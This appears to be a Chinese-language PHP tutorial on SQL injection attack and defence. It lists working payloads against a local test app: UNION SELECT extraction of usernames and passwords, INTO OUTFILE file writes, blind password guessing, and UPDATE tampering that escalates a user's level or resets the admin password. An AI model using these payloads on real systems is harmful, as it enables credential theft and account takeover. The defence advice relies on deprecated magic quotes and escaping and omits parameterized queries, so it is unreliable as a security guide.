php sql注入攻擊與防範注意事項

// supposed input $name = "ilia'; DELETE FROM users;"; mysql_query("SELECT * FROM users WHERE name='{$name}'"); 複製代碼 很明顯最後資料庫執行的命令是： SELECT * FROM users WHERE name=ilia; DELETE FROM users 複製代碼 這就給資料庫帶來了災難性的後果–所有記錄都被刪除了。 不過如果使用的資料庫是MySQL，那麼還好，mysql_query()函數不允許直接執行這樣的操作（不能單行進行多個語句操作），所以你可以放心。如果使用的資料庫是SQLite或者PostgreSQL，支援這樣的語句，那麼就將面臨滅頂之災了。 上面提到，SQL注入主要是提交不安全的資料給資料庫來達到攻擊目的。為了防止SQL注入攻擊，PHP內建一個功能可以對輸入的字串進行處理，可以在較底層對輸入進行安全上的初步處理，也即Magic Quotes。(php.ini magic_quotes_gpc)。如果magic_quotes_gpc選項啟用，那麼輸入的字串中的單引號，雙引號和其它一些字元前將會被自動加上反斜線\。 但Magic Quotes並不是一個很通用的解決方案，沒能屏蔽所有有潛在危險的字元，並且在許多伺服器上Magic Quotes並沒有被啟用。所以，我們還需要使用其它多種方法來防止SQL注入。 許多資料庫本身就提供這種輸入資料處理功能。例如PHP的MySQL操作函數中有一個叫mysql_real_escape_string()的函數，可將特殊字元和可能引起資料庫操作出錯的字元轉義。 這段代碼： //如果Magic Quotes功用啟用 if (get_magic_quotes_gpc()) { $name = stripslashes($name); }else{ $name = mysql_real_escape_string($name); } mysql_query("SELECT * FROM users WHERE name='{$name}'"); 複製代碼 注意，在使用資料庫所帶的功能之前要判斷一下Magic Quotes是否開啟，就像上例中那樣，否則兩次重複處理就會出錯。如果MQ已啟用，要把加上的\去掉才得到真實資料。 除了對以上字串形式的資料進行預先處理之外，儲存Binary資料到資料庫中時，也要注意進行預先處理。否則資料可能與資料庫自身的儲存格式相衝突，引起資料庫崩潰，資料記錄丟失，甚至丟失整個庫的資料。有些資料庫如 PostgreSQL，提供一個專門用來編碼位元據的函數pg_escape_bytea()，它可以對資料進行類似於Base64那樣的編碼。 例如： // for plain-text data use: pg_escape_string($regular_strings); // for binary data use: pg_escape_bytea($binary_data); 複製代碼 另一種情況下，也要採用這樣的機制。那就是資料庫系統本身不支援的多位元組語言如中文，日語等。其中有些的ASCII範圍和位元據的範圍重疊。 在這裡推薦兩篇有關php sql注入防範的文章，一是360安全提供的，另一個筆者收集的php防sql注入的代碼，很強大很好用。 php防SQL注入代碼(360提供) php防止sql注入漏洞過濾函數的代碼 不過對資料進行編碼將有可能導致像LIKE abc%　這樣的查詢語句失效。 php sql注入實現(測試代碼安全不錯) SQL注入的重點就是構造SQL語句，只有靈活的運用SQL 陳述式才能構造出牛比的注入字串。學完之後寫了點筆記，已備隨時使用。希望你在看下面內容時先了 解SQL的基本原理。筆記中的代碼來自網路。 ===基礎部分=== 本表查詢： http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m Union聯合語句： http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/* http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/* 匯出檔案： http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt INSERT語句： INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 構造homepage值為：http://jbxue.com', '3')# SQL語句變為：INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://jbxue.com', '3')#', '1'); UPDATE語句：我喜歡這樣個東西 先理解這句SQL UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id' 複製代碼 如果此SQL被修改成以下形式，就實現了注入 1：修改homepage值為 http://jbxue.com', userlevel='3 之後SQL語句變為 UPDATE user SET password='mypass', homepage='http://jbxue.com', userlevel='3' WHERE id='$id' 複製代碼 userlevel為使用者層級 2:修改password值為 mypass)' WHERE username='admin'# 複製代碼 之後SQL語句變為 UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' 複製代碼 3：修改id值為 ' OR username='admin' 之後SQL語句變為 UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin' 複製代碼 ===進階部分=== 常用的MySQL內建函數 DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() database() version() SUBSTRING() MID() char() load_file() …… 函數應用 UPDATE article SET title=DATABASE() WHERE id=1 http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version() SELECT * FROM user WHERE username=char(97,110,103,101,108) # char(97,110,103,101,108) 相當於angel，十進位 複製代碼 http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100) http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111 確定資料結構的欄位個數及類型 http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97) 猜資料表名 http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members 跨表查詢得到使用者名稱和密碼 http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 其他 #驗證第一位密碼 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 ===注入防範=== 伺服器方面 magic_quotes_gpc設定為On display_errors設定為Off 編碼方面 $keywords = addslashes($keywords); $keywords = str_replace("_","\_",$keywords); $keywords = str_replace("%","\%",$keywords); 複製代碼 數實值型別 使用intval()抓換 字串類型 SQL語句參數中要添加單引號 下面代碼，用於防治注入 if (get_magic_quotes_gpc()) { //.... }else{ $str = mysql_real_escape_string($str); $keywords = str_replace("_","\_",$keywords); $keywords = str_replace("%","\%",$keywords); } 複製代碼 有用的函數 stripslashes() get_magic_quotes_gpc() mysql_real_escape_string() strip_tags() array_map() addslashes()

